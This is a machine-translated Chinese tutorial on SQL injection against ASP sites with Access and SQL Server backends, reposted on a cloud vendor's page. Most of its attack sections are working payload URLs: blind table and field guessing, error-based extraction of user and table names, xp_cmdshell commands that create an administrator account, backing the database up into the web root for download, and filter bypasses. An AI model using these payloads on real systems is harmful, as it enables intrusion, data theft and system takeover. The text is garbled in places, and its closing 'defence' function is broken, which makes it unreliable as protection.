SQL Injection tianshu

Source: Internet
Author: User

SQL Injection tianshu
Www.2cto.com: articles published many years ago when SQL injection was just emerging are very helpful to newcomers.
Introduction with the development of B/S application development, more and more programmers are writing applications using this mode. However, due to the low entry threshold in this industry, the programmer's level and experience are also uneven. A considerable number of programmers did not judge the legitimacy of user input data when writing code, application security risks. You can submit a piece of database query code and obtain the desired data based on the results returned by the program. This is called SQL Injection, that is, SQL Injection. SQL injection is accessed from the normal WWW port, and it seems to be no different from the general Web page access, so the current Municipal firewall does not alert SQL injection, if the Administrator does not check IIS logs, it may be invisible for a long time. However, the SQL injection method is quite flexible, and many unexpected situations may occur during the injection process. It is the fundamental difference between a master and a cainiao to analyze the specific situation and construct clever SQL statements to obtain the desired data. According to national conditions, ASP + Access or SQLServer accounts for more than 70% of Chinese websites, PHP + MySQ accounts for 20%, and other websites are less than 10%. In this article, we will explain the methods and skills of ASP injection from entry-level, advanced to advanced. The PHP injection article was written by another NB-consortium friend zwell, it is expected to be useful to security workers and programmers. Do not skip this article if you are familiar with ASP injection, because some people still have misunderstandings about the basic injection judgment methods. Are you ready? Lets Go... if you have never tried SQL injection before, remove the check box before IE menu> Tools> Internet Options> advanced => friendly HTTP Error messages. Otherwise, no matter what error is returned by the server, IE Only displays as an HTTP 500 server error and cannot receive more prompts.Section 1. Principles of SQL InjectionWe will start from www.mytest.com (note: the website has obtained the consent of the webmaster before this article is published, most of which are real data ). On the home page of the website, named "IE cannot open new window of a variety of solutions" link, address: http://www.mytest.com/showdetail.asp? Id = 49. we add a single quotation mark (') next to this address. The server returns the following error message: Microsoft JET Database Engine error 80040e14 string syntax error in the query expression ID = 49. /Showdetail. asp, row 8 shows the following points from the error prompt: 1. The website uses the Access database and connects to the database through the JET engine instead of ODBC. 2. The program does not determine whether the data submitted by the client meets the program requirements. 3. The table queried by this SQL statement has a field named ID. From the above example, we can know that the principle of SQL injection is to submit special code from the client to collect information about programs and servers and obtain the information you think.Section 2: Determine whether SQL injection can be performedAfter reading the first section, some people will think: I also often test whether it can be injected. Isn't it very easy? In fact, this is not the best method. Why? First of all, not necessarily the IIS of each server returns a specific error message to the client. If statements such as cint (parameter) are added to the program, SQL injection will not succeed, but the server also reports an error. The specific prompt is that an error occurs on the server when processing the URL. Contact the system administrator. Second, some programmers who have a little knowledge about SQL Injection think that it is safe to filter out single quotes. This is not a minority case. If you use single quotes for testing, if the injection point is not tested, what test method is more accurate? The answer is as follows: 1. http://www.mytest.com/showdetail.asp? Id = 49 2. http://www.mytest.com/showdetail.asp? Id = 49; and 1 = 1 3. http://www.mytest.com/showdetail.asp? Id = 49; and 1 = 2 This is the classic 1 = 1, 1 = 2 test method, how to judge? You can see the results returned from the above three URLs. The injection performance is as follows: 1. normal display (this is inevitable, or there is a program error) 2. normally displayed. The content is basically the same as 1. 3. prompt BOF or EOF (when the program does not make any judgment), or prompt that the record cannot be found (rs is determined. eof), or the display content is empty (the program adds on error resume next), it is easier to judge if it cannot be injected, and 1 is displayed normally, errors 2 and 3 are usually prompted by a program definition error, or when a type conversion error is prompted. Of course, this is only the judgment method used when the input parameters are numeric. in actual application, there will be between numeric and search parameters, I will analyze the SQL Injection general steps in the intermediate section.Section 3. Database types and injection methodsDifferent database functions and injection methods are different. Therefore, before injection, we need to determine the database type. Generally, Access and SQLServer are the most commonly used databases in ASP. More than 99% of websites on the Internet are among them. How can a program tell you what database it uses? Let's take a look: SQLServer has some system variables. If IIS on the server prompts that it is not closed and SQL server returns an error message, you can directly obtain the error information using the following method :? http://www.mytest.com/showdetail.asp?id=49 The statement "and user> 0" is very simple, but it contains the essence of the SQL Server-specific injection method. I also found this highly efficient method in an unintentional test. Let me take a look at its meaning: first, the preceding statement is normal, with emphasis on and user> 0. We know that user is a built-in variable of SQLServer, the value is the username of the current connection and the type is nvarchar. Compare the nvarchar value with the int value 0. The system will first try to convert the nvarchar value to the int type. Of course, the conversion process will definitely fail. The SQLServer error prompt is: A syntax error occurs when converting the nvarchar value "abc" to an int column. The value of abc is the value of the variable user. In this way, the user name of the database is obtained without any effort. In the future, we will see many statements using this method. By the way, as we all know, the SQLServer user sa is a role equivalent to the Adminstrators permission. With the sa permission, you can almost certainly get the Administrator of the host. The above method can be used to easily test whether to log on with sa. Note that, if it is a log on with sa, an error occurs when "dbo" is converted to an int column, instead of "sa ". If IIS on the server does not allow an error message to be returned, how can we determine the database type? We can start with the difference between Access and SQLServer. Access and SQLServer both have their own system tables, such as tables that store all objects in the database. Access is in the system table [msysobjects, however, when reading the table in the Web environment, the system prompts "no permission". SQLServer is in the table [sysobjects] and can be read normally in the Web environment. Use the following statement when the injection is confirmed :? http://www.mytest.com/showdetail.asp?id=49 ; And (select count (*) from sysobjects)> 0? http://www.mytest.com/showdetail.asp?id=49 ; And (select count (*) from msysobjects)> 0 if the database is SQLServer, then the page of the first website and the original page http://www.mytest.com/showdetail.asp?id=49 Is roughly the same; the second web site, because the table msysobjects cannot be found, will prompt an error, even if the program has fault tolerance processing, the page is completely different from the original page. If the database uses Access, the situation is different. The page of the first website is completely different from the original page. The second website is determined by whether the database allows reading the system table, generally, this is not allowed, so it is completely different from the original website. In most cases, the database type used by the system can be known through the first web site. The second web site is used only for verification when the IIS error prompt is enabled.AdvancedIn this article, we learned how to judge SQL injection, but it is far from enough to obtain the website's confidential content. Next, we will continue to learn how to obtain the desired content from the database. First, let's take a look at the general steps of SQL injection:Section 1: General steps of SQL InjectionFirst, judge the environment, find the injection point, and determine the database type. This is already discussed in the Getting Started article. Secondly, according to the injection parameter type, the original appearance of the SQL statement is reconstructed in mind. According to the parameter type, There are mainly three types: 1.ID= 49. The injection parameters of this type are numeric. The original appearance of the SQL statement is roughly as follows: select * from table name where field = 49 the injected parameter is ID = 49 And [query condition], that is, the generated statement: select * from table name where field = 49 And [query condition] 2. class = the injection parameters of the series are generic. The SQL statements are roughly as follows: select * from table name where field = 'series' injection parameters are Class = series' and [query conditions] and ''= ', which are generated statements: select * from table name where field = 'series' and [query conditions] and ''='' 3. if no filter parameter is found, such as keyword = keyword, the SQL statement is roughly as follows: Select * from Table Name The where field like '% keyword %' injection parameter is keyword = 'and [query condition] and' % 25' = ', that is, the generated statement: select * from table name where field like '%' and [query condition] and '%' = '%' Then, replace the query condition with an SQL statement to guess the table name, example :? ID = 49 And (Select Count (*) from Admin)> = 0 if the page is the same as ID = 49, the additional conditions are true, that is, the table Admin exists. Otherwise, that is, it does not exist (Please remember this method ). This loop ends until the table name is guessed. After the table name is guessed, replace Count (*) with Count (field name) and use the same principle to guess the field name. Some people may say: there are some occasional elements. If the table name is complex and irregular, it won't be enough. That's right. There is no 100% successful hacker technology in this world. No matter how technical or advanced hackers are, this is because other people's programs are not strictly written or the user's security awareness is not enough. I am a little confused. After all, there is still a way for the SQL Server database to let the program tell us the table name and field name. We will introduce it in the advanced article. Finally, after the table name and column name are successfully guessed, use an SQL statement to obtain the field value. The following describes the most common method-Ascii verbatim decoding, although this method is slow, it must be a feasible method. For example, we know that the table Admin contains the username field. First, we take the first record and test the length :? http://www.mytest.com/showdetail.asp?id=49 ; And (select top 1 len (username) from Admin)> 0 first describes the principle: if the length of the top 1 username is greater than 0, the condition is true; the next step is to test like> 1,> 2,> 3 until the condition is not true. For example, if> 7 is true,> 8 is not true, that is, len (username) = 8 of course no one will be stupid from 0, 1, 2, 3 one test, how is it faster to see their respective play. After obtaining the length of username, use mid (username, N, 1) to intercept the nth character, and then asc (mid (username, N, 1) to obtain the ASCII code, for example :? Id = 49 and (select top 1 asc (mid (username, 1, 1) from Admin)> 0 is also the ASCII code of 1st characters obtained by gradually narrowing the range, note that the ASCII code of English and numbers is between 1-128. You can use the half-fold method to accelerate the guess. If you write the code for program testing, the efficiency will be greatly improved.Section 2 SQL Injection common functionsThose who have basic SQL language have a much higher success rate than those who are not familiar with SQL injection. We need to improve our SQL level, especially some common functions and commands. 1. access: asc (character) SQLServer: unicode (character) function: returns the ASCII code of a character 2. access: chr (number) SQLServer: nchar (number) function: opposite to asc, returns 3 Characters Based on the ASCII code. access: mid (string, N, L) SQLServer: substring (string, N, L) function: returns a substring whose length is L from N characters, that is, the string between N and N + L 4. access: abc (number) SQLServer: abc (number) function: return the absolute value of the number (used to guess Chinese characters) 5. access: A between B And C SQLServer: A between B And C function: judging whether A is bounded by section 3 between B and C. It is common for Chinese characters to be encountered in the injection process. Some people may want to retreat when they encounter Chinese characters. In fact, as long as you have some knowledge about Chinese encoding, "Chinese phobias" can be quickly overcome. First, let's talk about common sense :? In Access, the Chinese ASCII code may have a negative number. After this negative number is obtained, use abs () to obtain the absolute value. The Chinese characters remain unchanged. ? In SQLServer, Chinese ASCII is a positive number, but because it is a UNICODE dual-bit encoding, the function ascii () cannot be used to obtain the ASCII code, the function unicode () must be used to return the unicode value, use the nchar function to obtain the corresponding Chinese characters. After learning about the above two points, Do you think Chinese Guesses are actually similar to English? Except for the functions used, you must note that the scope of the solution is larger, and the method is similar.AdvancedAfter reading the introductory and advanced articles, you can practice a little bit to crack common websites. However, if you cannot guess the table name or the program author filters out some special characters, how can you improve the injection success rate? How can we improve the efficiency of guessing? Next, read the advanced article.Section 1. inject SQL Server databases using system tablesSQLServer is a powerful database system that is closely related to the operating system, which brings great convenience to developers. On the other hand, it also provides a stepping stone for injecting users, let's take a look at several specific examples: 1. http://Site/url.asp?id=1 ; Exec master .. xp_cmdshell "net user name password/add" -- semicolon; In SQLServer, it indicates to separate the first and second statements, and -- it indicates that the subsequent statements are comments. Therefore, this statement is divided into two statements in SQLServer for execution. First, Select the record with ID = 1 and then execute the Stored Procedure xp_mongoshell. This stored procedure is used to call system commands. Therefore, run the "net" command to create a windows account with the username and password: 2. http://Site/url.asp?id=1 Exec master.. xp_mongoshell "net localgroup name administrators/add" -- add the new account name to the Administrator Group. It takes no longer two minutes. You have obtained the highest system permission! Of course, this method only applies when using sa to connect to the database. Otherwise, you do not have the permission to call xp_mongoshell. 3. http://Site/url.asp?id=1 And db_name ()> 0 there is a similar example and user> 0 in front of it to get the connection user name, db_name () is another system variable, and the returned database name is the name of the connection. 4. http://Site/url.asp?id=1 ; Backup database name to disk = 'C: \ inetpub \ wwwroot \ 1. db'; -- this is a tough trick. The database name obtained from 3, coupled with the absolute path exposed by some IIS errors, backs up the database to the Web directory, use HTTP to download the entire database. All administrators and user passwords are displayed at a glance! When you do not know the absolute path, you can back up the network address (for example, \ 202.96.xx.xx \ Share \ 1.db), but the success rate is not high. 5. http://Site/url.asp?id=1 ; And (Select Top 1 name from sysobjects where xtype = 'U' and status> 0)> 0 as mentioned earlier, sysobjects is the system table of SQLServer, all table names, views, constraints, and other objects are stored. xtype = 'U' and status> 0 indicates the table name created by the user, the preceding statement extracts the first table name and compares it with 0 to expose the table name with an error message.
2. How can I obtain the name of the third table? Let's leave it to our smart readers. 6. http: // Site/url. asp? Id = 1; and (Select Top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0 after obtaining the table name from 5, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents the 1st field names of the table. Replace 1 with 2, 3, 4... you can obtain the field names in the table to be guessed one by one. The above six points are the painstaking efforts I have studied SQLServer for more than half a year. We can see that the degree of understanding of SQLServer directly affects the success rate and the speed of guessing. After studying SQLServer injection, my development level has also been greatly improved. Haha, maybe security and development are complementary.Section 2. Bypass program restrictions and continue InjectionAs mentioned in the entry-level article, many users prefer to use the 'number test to inject vulnerabilities. Therefore, many users use the' number filtering method to "Prevent" injection vulnerabilities, this may block some hacker attacks, but those familiar with SQL injection can still use related functions to bypass program restrictions. In the "general steps of SQL injection" section, all the statements I use are optimized by me so that they do not contain single quotes; in "injecting SQL Server database with system tables", some statements contain the "#". Let's take an example to see how to modify these statements: simple where xtype = 'U ', the ASCII code of character U is 85, so it can be replaced by where xtype = char (85). If the character is Chinese, for example, where name = 'user ', you can use where name = nchar (29992) + nchar (25143) instead.Section 3 Experience Summary1. Some people will filter keywords such as Select, Update, and Delete, but they forget to be case sensitive. So you can try using selecT. 2. If you cannot guess the field name, you can view the logon form on the website. Generally, for convenience, the field names are the same as those in the form input box. 3. Note: The + number in the address bar is interpreted as a space, % 2B is interpreted as a + number, and % 25 is interpreted as a % number. For details, refer to the introduction of URLEncode. 4. When the Get method is used for injection, IIS will record all your submission strings and will not record the Post method. Therefore, try not to use Get for Post URLs. 5. you can only use the Ascii literal decoding method to guess Access. SQLServer can also use this method. You only need the difference between the two methods. However, if you can use the SQLServer error information to expose the value, the efficiency and accuracy will be greatly improved.Defense methodsInjection vulnerabilities can be described as a "treasure of a thousand miles, which breaks the ant nest". These vulnerabilities are widely used on the Internet. They are usually caused by a programmer's lack of understanding about injection, program filtering, or a parameter forgetting to check. Here, I will give you a function that replaces the Request function in ASP and can inject Say NO to all SQL statements. The function is as follows:

Function SafeRequest (ParaName, ParaType) 'paraname: parameter name-numeric type 'paratype: parameter type-numeric type (1 indicates that the preceding parameter is a number, and 0 indicates that the preceding parameter is a character) dim ParaValue = Request (ParaName) If ParaType = 1 then If not isNumeric (ParaValue) then Response. write "parameter" & ParaName & "must be in numeric format! "Response. end End if Else ParaValue = replace (ParaValue," "," ") End if SafeRequest = ParaValueEnd function

 

This article is over. Whether you are a security engineer, a technical enthusiast or a programmer, I hope this article will help you. (Author: Xiaozhu)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.